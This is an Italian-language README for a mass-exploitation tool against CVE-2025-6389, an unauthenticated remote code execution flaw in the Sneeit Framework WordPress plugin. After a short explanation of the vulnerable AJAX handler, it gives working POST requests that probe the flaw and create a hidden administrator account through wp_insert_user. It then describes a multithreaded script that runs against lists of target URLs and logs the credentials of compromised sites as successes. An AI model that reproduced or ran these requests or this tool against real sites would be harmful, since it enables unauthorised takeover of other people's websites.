CVE-2025-6389

Sneeit Framework <= 8.3 - Esecuzione Remota di Codice non autenticata in sneeit_articles_pagination_callback

    _______      ________    ___   ___ ___  _____         __ ____   ___   ___  
  / ____\ \    / /  ____|  |__ \ / _ \__ \| ____|       / /|___ \ / _ \ / _ \ 
 | |     \ \  / /| |__ ______ ) | | | | ) | |__ ______ / /_  __) | (_) | (_) |
 | |      \ \/ / |  __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
 | |____   \  /  | |____    / /_| |_| / /_ ___) |     | (_) |__) | (_) |  / / 
  \_____|   \/   |______|  |____|\___|/____|____/       \___/____/ \___/  /_/  

🧠 Panoramica

CVE-2025-6389 è una vulnerabilità critica con punteggio CVSS 9.8 di Esecuzione Remota di Codice trovata nel plugin Sneeit Framework per WordPress.

Il difetto risiede nella funzione sneeit_articles_pagination_callback(), che passa ciecamente input fornito dall'utente nella funzione call_user_func() di PHP — un attaccante non autenticato può chiamare qualsiasi funzione PHP con argomenti arbitrari, inclusa wp_insert_user, ottenendo di fatto accesso completo come amministratore o eseguendo qualsiasi codice lato server.

💀 Analisi Approfondita della Vulnerabilità

La causa principale è l'uso improprio di call_user_func() di PHP nel gestore AJAX del plugin:

// Registered without authentication check
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // ← User-controlled function name
    $args     = json_decode(stripslashes($_POST['args']), true); // ← User-controlled args

    // Calling ANY PHP function with ANY arguments — zero validation
    $result = call_user_func($callback, ...$args);

    echo $result;
    die();
}

Perché è critico:

• wp_ajax_nopriv_* = accessibile da chiunque, senza login
• call_user_func($callback, $args) = invocazione arbitraria di funzioni
• L'attaccante può chiamare var_dump, system, wp_insert_user, eval o qualsiasi funzione PHP/WordPress
• La risposta viene restituita direttamente — consentendo RCE sia cieca che verbosa

⚔️ Catena di Exploit

Passo 1 — Sondaggio / Impronta digitale
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = var_dump
  args     = ["test"]

Risposta Attesa → array(1) { [0]=> string(4) "test" }
  ↓
Conferma: call_user_func() è raggiungibile e riflette l'output

──────────────────────────────────────────────────────────────────
Passo 2 — Creazione Account Amministratore
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = wp_insert_user
  args     = {"user_login":"Nxploited_XXXX",
               "user_pass":"xplpass",
               "user_email":"...",
               "role":"administrator"}

Risultato → Nuovo account amministratore creato silenziosamente sul target
  ↓
Accesso completo al pannello di amministrazione WordPress ottenuto ✔️

⚙️ Requisiti

pip install requests rich

È richiesto Python 3.8+. Gli hints di tipo usano la sintassi tuple[...] introdotta in 3.9+ — usa 3.9+ per la migliore compatibilità.

📂 Struttura dei File

CVE-2025-6389/
├── CVE-2025-6389.py          # Script exploit principale
├── list.txt                  # URL target — uno per riga
├── success_results.txt       # Generato automaticamente: target riusciti + credenziali
└── debug_responses/          # Generato automaticamente: risposte server grezze per debug
    └── <target>.resp.txt

🚀 Utilizzo

Passo 1 — Preparare i Target

Crea list.txt con un URL per riga:

https://target1.com
https://target2.com
http://target3.com

Gli URL senza http:// o https:// vengono automaticamente prefissati con http://.

Passo 2 — Eseguire l'Exploit

python CVE-2025-6389.py

Verrà richiesto:

Nome file target (predefinito list.txt): list.txt
Numero di thread (predefinito 10):       20

Passo 3 — Dashboard in Tempo Reale

Lo script avvia una dashboard Rich in tempo reale che mostra:

┌─────────────────────────────────────────────────────────────────────┐
│  [ASCII BANNER]                                                      │
├──────────────────────────────┬──────────────────────────────────────┤
│  Info                        │  Stats                               │
│  Usage: Put targets in...    │  Total Targets:  150                 │
│  Threads: 20                 │  Processed:      87                  │
│  Password: xplpass           │  Successes:      12                  │
│  Success Log: success...     │  Failures:       75                  │
│  Debug Dir: debug_responses  │  Elapsed:        00:01:43            │
├──────────────────────────────┴──────────────────────────────────────┤
│  Recent Results                                                      │
│  Time     Target                              Result                 │
│  14:23:01 https://victim.com                  SUCCESS               │
│  14:23:03 https://example.net                 FAIL                  │
└─────────────────────────────────────────────────────────────────────┘

Passo 4 — Rivedere i Risultati

Exploit riusciti vengono salvati in success_results.txt:

https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]

Risposte di debug (per target falliti) vengono salvate in debug_responses/: